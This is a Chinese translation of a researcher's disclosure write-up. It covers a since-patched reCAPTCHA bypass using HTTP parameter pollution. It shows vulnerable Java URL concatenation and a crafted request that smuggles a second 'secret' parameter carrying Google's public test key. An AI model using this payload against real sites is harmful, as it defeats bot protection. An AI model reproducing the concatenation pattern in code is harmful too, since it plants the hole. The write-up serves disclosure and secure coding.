TL;DR
我在1月底向谷歌报告了一种 reCAPTCHA 绕过方法。实现这种绕过方法需要web应用通过 reCAPTCHA 以一种不安全的方式来处理发送到/recaptcha/api/siteverify的请求,当这种情况发生时,攻击者每次都能绕过保护。安全问题在于 Google 的 reCAPTCHA API中固定的UPSTREAM, 而且你的应用程序不需要做任何修改。
介绍
reCAPTCHA是Google提供的一项允许web应用开发者通过最少的工作就能为其站点添加验证码功能的一项服务。reCAPTCHA是一项非常复杂的涵盖各种情况的服务:有时候它会根据已经存在的cookies选择信任用户,有时候它需要用户完成几个任务。接下来的介绍是发现了漏洞的情况。
当web应用要验证用户时,Google提供了一个图像集并且使用Javascript代码把它们显示到浏览器,像下面的图片:
当用户完成选择,点击确认按钮后,就会触发一个发送到web服务器的HTTP请求,这个请求看起时这样的:
POST /verify-recaptcha-response HTTP/1.1
Host: vulnerable-app.com
recaptcha-response={reCAPTCHA-generated-hash}
收到请求后,web应用需要向Google的reCAPTCHA API发送一个请求来验证用户的回答。
POST /recaptcha/api/siteverify HTTP/1.1
Content-Length: 458
Host: www.google.com
Content-Type: application/x-www-form-urlencoded
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}
web应用需要使用{application-secret}来验证自己,并且向API发送{reCAPTCHA-generated-hash}来查询结果。如果用户的回答正确,将返回如下响应:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 90
{
"success": true,
"challenge_ts": "2018-01-29T17:58:36Z",
"hostname": "..."
}
web应用将接收、处理这个响应,并且大多数时候会授权用户使用某些资源。
HTTP参数污染
HTTP参数污染几乎是无处不在的,相关的风险取决于所处的环境。在某些特定的场景下,可能导致大规模的数据泄露,但大多数时候是低风险的。
绕过reCAPTCHA认证需要web应用中存在HTTP参数污染,这个条件很大程度上减小了这个漏洞的严重性。
存在这个漏洞的web应用看起来是像这样的:
private String sendPost(String CaptchaResponse, String Secret) throws Exception {
String url = "https://www.google.com/recaptcha/api/siteverify"+"?response="+CaptchaResponse+"&secret="+Secret;
URL obj = new URL(url);
HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();
注意到这个web应用使用了字符串拼接来创建url变量。
同样需要重视的还有Google服务端,下面的两个请求可能返回同样的响应:
POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
...
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}
POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
...
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}&secret={another-secret-application-secret}
reCAPTCHA API始终使用请求的第一个参数secret,忽略第二个。这不是漏洞,但存在可利用的风险。
问题的关键
web开发人员需要以自动化方式测试它们的应用程序,而google提供了一个简单的方法来禁用“在特定环境中的验证。Google的文档中做了详细解释,总结一下,如果想禁用reCAPTCHA验证,需要使用硬编码站点和下面的密钥:
- Site key: 6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI
- Secret key: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
整合起来
现在需要的我们都知道了,接下来看看如何利用:
POST /verify-recaptcha-response HTTP/1.1
Host: vulnerable-app.com
recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
如果web应用存在http参数污染漏洞,并且url是通过在secret参数之前拼接response参数来创建的,那么攻击者就能够绕过在验证。
注意我发送的这个精心设计的请求包含了以下内容:
- 任何内容都可以:只是用来占位
- %26:经过URL编码的“&”符
- secret:我想“注入”的参数名
- %3d:经过URL编码的“=”符
- 6Le…JWe:禁用reCAPTCHA响应验证的密钥
当所有攻击条件就绪后,web应用会向reCAPTCHA API发送如下的HTTP请求:
POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Python-urllib/2.7
recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe&secret=6LeYIbsSAAAAAJezaIq3Ft_hSTo0YtyeFG-JgRtu
注意到请求中包含了两个secret参数,第一个是由攻击者控制的(由于web应用中存在http参数污染),第二个是由应用自己控制的。考虑到reCAPTCHA API使用的是第一个,返回的响应始终是这样的:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 90
{
"success": true,
"challenge_ts": "2018-01-29T17:58:36Z",
"hostname": "..."
}
web应用将处理这个响应,并且攻击者会获得授权。
固定的UPSTREAM
Google决定在他们的REST API中解决这个问题,我相信这是明智的举措。它们的修复很简单:如果http请求/reCAPTCHA/api/siteverify包含两个同名参数,那么返回一个错误。
通过这种方式修复就是保护那些易受http参数污染和 reCAPTCHA绕过攻击的应用程序,而且不需要应用任何补丁。
在实战中利用
在web应用中实现这个攻击需要两个非常重要的条件,第一,应用需要在reCAPTCHA url创建中存在HTTP参数污染漏洞:Github搜索可以发现与reCAPTCHA的整合中高达60%存在可利用漏洞。
第二,web应用创建url时需要以response作为第一个参数,然后才是secret参数:“response=…&secret=…”。奇怪的是,大多数应用使用的是“secret=…&response=…”。我的猜测是因为Google文档就是这么做的,所以很多人直接参考了,这一点Google很幸运,如果不是这样,这个漏洞会影响更多的网站。Github搜索显示只有5%-10%的reCAPTCHA应用存在这个风险。
所以,如果我想在实战中实现这个攻击,只有大约3%使用reCAPTCHA的网站存在这个漏洞:看起来还不错因为这个应用很广,但比其它漏洞风险要小。
总结
- 对开发者:永远不要使用字符串连接来创建查询字符串。使用字典存储键和值,然后进行url编码。
- 对安全工作者:HTTP参数污染是你的好朋友。
时间线
- 2018-Jan-29 / 漏洞被提交到Google
- 2018-Jan-30 / Google回应称reCAPTCHA功能正常
- 2018-Jan-31 / 我请求Google再看一遍报告
- 2018-Jan-31 / Google要求更多细节
- 2018-Feb-1 / Google确认漏洞
- 2018-Feb-15 / Google奖励500美元。奖金捐给了慈善机构。
- 2018-Mar-25 / 补丁发布
发表评论
您还未登录,请先登录。
登录